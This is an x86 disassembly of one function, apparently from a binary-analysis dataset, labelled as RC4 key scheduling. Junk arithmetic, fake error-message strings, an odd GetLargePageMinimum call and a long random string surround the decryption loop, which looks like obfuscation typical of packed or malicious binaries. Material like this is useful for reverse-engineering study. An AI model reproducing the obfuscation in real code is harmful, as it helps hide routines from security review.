Function at 0x407430
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0xb
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x16e]
mov esi, 0x42c019
push ebx
sub esp, 0x18c
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x141]
mov esi, str.AslFileMappingGetImageTypeEx_failed___x_
mov ecx, 0x29
rep movsb byte es:[edi], byte [esi]
cmp word [eax + str.AslpFileHasActiveMarkWrapper_failed___x_], 0
je 0x407480
add eax, 2
cmp eax, 0x38f0
jne 0x407462
and dword [0x4293b8], 0x799d6a39
mov eax, dword [0x4293b8]
or eax, 0xafeff0fc
imul eax, eax, 0x79d03ac6
mov dword [ebp - 0x17c], eax
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x407498
xor esi, esi
xor ecx, ecx
mov edi, 0x28
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x141]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov dl, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], dl
inc ecx
mov byte [ebp + esi - 0x118], bl
cmp ecx, 0x100
jne 0x4074b0
mov eax, dword [ebp - 0x17c]
mov byte [ebp - 0x19], dl
xor ecx, ecx
xor edi, edi
mov byte [ebp + esi - 0x118], bl
xor esi, esi
sub eax, 0x6f079600
mov dword [0x4293b8], eax
mov edx, str.AslpFileHasActiveMarkWrapper_failed___x_
mov ebx, 0x489
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x407547
add ebx, eax
cmp ebx, 0x13fa
jbe 0x407517
mov dword [ebp - 0x17c], ecx
call fcn.00414fa4
mov ecx, dword [ebp - 0x17c]
sub dword [0x4293b8], 0x521013db
lea eax, [esi + 1]
movzx esi, al
mov dl, byte [ebp + esi - 0x118]
lea eax, [edx + edi]
movzx edi, al
mov eax, dword [0x4293b8]
mov bl, byte [ebp + edi - 0x118]
or eax, 0xffdffffe
mov byte [ebp + esi - 0x118], bl
lea ebx, [ebp - 0x163]
mov byte [ebp + edi - 0x118], dl
add dl, byte [ebp + esi - 0x118]
movzx edx, dl
mov dword [0x4293b8], eax
mov dl, byte [ebp + edx - 0x118]
xor dl, byte [ebp + ecx - 0x16e]
mov byte [ebp + ecx - 0x163], dl
inc ecx
cmp ecx, 0xb
jne 0x40750d
xor eax, 0xe2722b25
mov dword [esp], str.AslpFileHasActiveMarkWrapper_failed___x_
mov esi, 0x416128
lea edi, [ebp - 0x158]
sub eax, 0x442f268c
mov byte [ebp - 0x158], 0
mov dword [0x4293b8], eax
call fcn.0041013c
mov eax, dword [0x4293b8]
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
mov edi, 0x9a
and eax, 0x3249379
add eax, 0x42b24544
imul eax, eax, 0x7b2f9d99
or eax, 0x6a30da36
mov dword [0x4293b8], eax
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
mov dword [esp], str.AslpFileHasActiveMarkWrapper_failed___x_
xor eax, 0x11e7c31d
imul eax, eax, 0x72835acf
mov dword [0x4293b8], eax
call fcn.0041013c
mov edx, dword [0x4293b8]
xor ecx, ecx
xor eax, eax
cmp word [eax + str.Windows.Core], 0
je 0x40764e
add eax, 2
cmp eax, 0x1568
jne 0x407631
mov eax, edx
xor eax, 0x1e8381e8
jmp 0x407650
mov eax, edx
sub edi, dword [ebp + ecx*4 - 0x158]
imul edx, eax, 0x350dea50
inc ecx
mov esi, edi
cmp ecx, 5
jne 0x40762f
mov dword [0x4293b8], edx
xor edx, edx
cmp byte [edx + str.AslPathCleanUstr], 0
je 0x40768a
inc edx
cmp edx, 0xcb1
jne 0x40766d
imul eax, eax, 0x84180ee0
mov dword [0x4293b8], eax
mov eax, dword [0x4293b8]
and eax, 0x3a7905dd
sub eax, 0x5945ca83
mov dword [0x4293b8], eax
call fcn.0040ecec
mov eax, dword [0x4293b8]
or eax, 0x55423d8e
imul eax, eax, 0x49fd7c5f
mov dword [esp], eax
mov dword [0x4293b8], eax
call fcn.0040e894
mov dword [esp + 0xc], esi
imul eax, dword [0x4293b8], 0x829d58ef
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x108c
mov dword [esp], str.wrRMkR5thYJjrPTPIa_kODWp0iQJhHzJQd6Hot_cJ_WCQW3LDVXtQEIhkaGScwyRTcbFnRNjor_RKikB8qGsIOQx7KcMmJ0jGc0p9_Wb5MZuhpMGPZ6Pyk0Q6A4ydnw2Swjh61xyVOViLHAUyCOZujeC3_95f6OzpMrBirGdR1XunX7yIgaTOu4xxv6ttGD2NoHdr0mb3cfZlxcX3X0RTK8okdQkda6mCXtw4N7jCcwE0t9YCQNnKcTGzip73xl1CAmKnIy3KwDLJDIr6Q8P7hFIPTO5dvI9zy3b8yl6nTfG8t4OT61aPVmlNC2CRaN6JxlhTAiuNB46L86n0zR5dxRz_lvybnlUGXdzzZM5lgwoPLw1yc2ilgZItb92iOx6NLTMXokgEP2GhM_fDeFPCVXkRet6ZBUPIcPgtKBJPo5fFTMpevxAsxwmetSFi4QUpkPkZK8Iiha7tCFZdoLVd7xXlt6iuSIaesAhQztSULkssPCHPoOmjvZXIVf8ChoYhDhb04AjMpTblmRU8kgru_qoBT45jhZqO6UQ6hvZ8Q_3N9x2b5Ta8XY1_niKAy6F_IyD10KjZZMqrilY4lDX5LYKUCRHlbxxiKfeZI2Yoe9fXVVcnjWE5z7X6B0g1gmPpLjlq4BU9BfJxxBL544ug0VoDL7b6T6tZ4xLJLRgmDr7WOcj43D8RefBxHeXuQn52aV92Ip6S7CfL4uxGrQ1KbaEtB83CIpzj_7l0b3LeSGYH47bzcttwfy2LbiyfzqbXBaQJJ4WeoH1l2IWyQz2LZ5qTatLWXklsamGpx79ZubQ6CudzRmhh1z3Sbv_2CVQC9gRANoRelQMo5yT0paMUkiC29JWn8VzlNd6Bruu0qHZ9rKcF9MQkeJAsZBlz1h_5fu2rDeJD6AZHnpOemXytaveg5L8ACeIZpudqBwy6hsR5VD6f7DLgfraLSBv_R9jvhDGxddvkonzL1rHE1C2gj4L9iTtlhH5Is8CePsYvpoI9xFcOAGNbazpk_bhL6O_qRX0ugiqLcqVHHCpgpTrSHsG6fnXMh0ee89UNN7v2M9o1zLrMtceHpBBoWyMPmq4JEpRqsy9uz6cAtnUj7dmOWtT0c5oNEqCV13JQvJWMWfSfUg46qxaosejRX5ZyOVQy6y6aiVe39VoSzFhltW3iS8TQfSLw_MuiNwV6D2sp6OSOLFLIt1qJ728SQ1lbqX6l7snoutR8gy7Py1okwuOcq1G_8Mb0J16rYlborZBmnVK7SqSeFQYeiSDsFdjNJdnJ4BtmAzhfn6m8Kwnb15FzBheJtp6oChxkP0MPuJ4nZeuXCMyfCkwmugiH_wlPBVt4brVyuwVoD55e0ZuZi0kFshUbbrGjKguhn3o5MEtvnWXrRHhtf1GV36fiL0LC8cHC3gsArr7dVfZh874HHzCrhkJI5nYIs8VkpF9T1wR4wlsm88Bydd8KhPmIMjtOCJTN5b2xj2nOF4__8EYHxVI2I1XslWNQOReggsY8QMSmgakpDZvK8H948PeyPaPUikrd2JTdXWBWPXpG6Q9y6Hoi19s6KnBM2pKaqrF3wvJsR9tdwCWMTh6KqWSXPiMk9YwJr1nhPZqMEnNWCmMEiJrqmmrfMxCLoNLjrux8sdIxJYApQTHdaylvKiR0pUlJasbPhZdrd4EG3rZKvCY3tYXMF5H7uju5P7j3F4ph4KWJvYYbE4kQ5xyqXApTz07SDsghLPfdt5DT0uLMiLaHFAWvd988Bd2QNM6V5hULYrg8Kpryyi3bO1lCnt4xre60tSJ_fBW525OWKSXPRLJEISab3hG9gNuDKn5Firpzdf53B8IluzVJIWcWY9fWBM2gJGqPtTLdXgrjsTfNfwgkFtyMNpJxYjZvTvIVbQEIRBGGXuzmekZiRJdEKVoAjBaUuQHkLQTEAbB34t5GO52ASBlmQHwd9rMWQytWJ53MM1ot30mCQyM3bdsQP_h7ZxaqqvFAyEAaCooedpl6TX_qFv5wYsL7DkVc1COo54bkUCSS4l_ndDM0SItmzlQ6JV_wIu_CYi3UhdSNbaUW3d7T7t97lZRwky7pMJBEu6MBYymaNdC9L_1G7Ubx5PEWHdMrK9xsWBy9DBtnovY_Fdat5t5Eb8lPCCYd02RW4zqPLbvRyHM5MeVT4KIncllJLvigcEa66DlkM_qXgoZpOgF9XwgcRFTA_zwLm3KQIhWH9p1j61BUE981vPPOHu_mxQ8JviAurv2pM0wPM88Vr5fzftOqlnaFKd1AriBgbaatAvpULmvVLN_rGq72SAEf5WBthhvABxe_RggzDMUdz0z8D8SXplr20t4571iOpKB69932oyaHw3LOu60Ijl10qavHfcBcMxYzk3jicex86Wu3Fe93smRwUjrz9_0UL8s0x6urzR2jfJx38qeIGx3YLYCL3tpfdBrLiIxCmzuqtirro9k7YqCBkbwJQ7OzHwWFpfRO95Prs7wNvu1cBLWKDXRNpEmW5eu4Z4grZHvyijGekbWVajFlH3p2miGZO0CJ1XWyPSPlXGsRZOEfODoEmInhD1tDBGMlq3Gw6YeXuefTRPXuBT7Fso3xDGQ2_pcVpUYFtFVHVxzzq93n5b6EifU10qoux3PhINa30Hg9sS_4iZowfTOv143ppgCuLVTTcd3fhAag0iwaIoNAZlLJtz6AiQk9Bth41wmhicanAoFiwy9l8LMn4_At18QKNvgGWorA2j7Hx1Cux9_Ze17_2FpymiToCCMNCu2fikIqyAGH3WwyK5PhkBT1hqV4558AqeMLI2ZzJRTyswdWTUiEidgi8EYdOOf2fmsNTZqIHv1xODB_KyNOlTXXLhkUTH_1W5rkfB5cEHjiTCoyJWnls44xgknkpcJ8r56oAm_MuvD0S3Ts0xuffDmWkJGcSJ8QcxDHsw2eiNrxGIpqGv9qqOlotWoPwp7LbyLs7jVgQDiIzwj1zl4N7NdKyZbFEwOrFyfIH2EWeAj3MbOcrvCmYBeRq1dHahMDbOvsueT3AdnCml2Z3bmrKkXTvx6JaP9GguscH9JwDY0nwgCMJ_3ndgPLP3iSkX4T9WU4R31fzat3PvMx6HJpWcjhsxAQP_G9s3vo183B23R6zBiJR7C9_lFKpZmjKQR5oIWyAV4gMEpDzFAbBmmj0we3CPcVyf3l14h5yDAjichcZjKlIxbHGbYoJf31_JSDyfeCcDTlouNcfyXf3mFUs86PpNTdaD8T2xkWr1W6AVOlzu2gqXh2MwSBVpT_MDONr2doztMaMsorXtqp2hhnIX7l2OvX2LORlgzpk8GMiT7O0SqmgFAVQirvveoGKMvgLttIWtbb4q7Bn30Tf5KwG2VJM9Pkyszm77ZR4qA2MkEbfrSBjuCXdOJ4lDXIbVKAdILY6mEVR1SFoyQxrQemmH1L_mJA14DmtXjqJnvtlff5u5OngbsqrLYfi3G3lQ8FBMXT0VbyDICDg6gseme2rSlZDBhZoQ5ZHwcD4W3cngyXYlKG9Iln72BTYEKKe6ifgx6og5XR8GL7U2HOO8x7920N3J3KuhSS4GKOebeEC1EwAcOXgz92k0LhytjBG3dysEIY4QycNNSYdenyubZhDKVehsuyBAuhCo4O02TxvuCsk_ZedQ6nzsvTIUvGds_i3TuC__vu8dFR3uYlilZQeHlVDXAt2VdngOwiZFYtc5oLjwBSf05BJDNtf3ONOLCYq0a4qKk7N1EMaf1MjsXxDmOXNcQSfyMXWULeU2ZyBLrSKTlPq70zYjLS9InzWDN64W9x0owvkFMX1Wakk1MtLg5GNjF_1lHrb0SvlQ9KpetFer1ey3Z0p9cocgiPlMf5yR45KSVqddXrDhDiyvY9iiGNpH720wkCnqVQjpaHJB_4LEa3Xdn2ZjHVvibWUsIFVlIUfj4ksiV5XViF6sXhlnuaZ5LC2WQldSLqMNVAwHlxUNFJwBnUujouRgbEMtByp9gX3PScPClbNSmH05VryzV2nt9IZpOTcP36r9OYXBZ2bCmz_4NyZh7
sub eax, 0x63dd90c5
xor eax, 0x44822168
mov dword [0x4293b8], eax
call fcn.0040b3c4
add esp, 0x18c
pop ebx
pop esi
pop edi
pop ebp
ret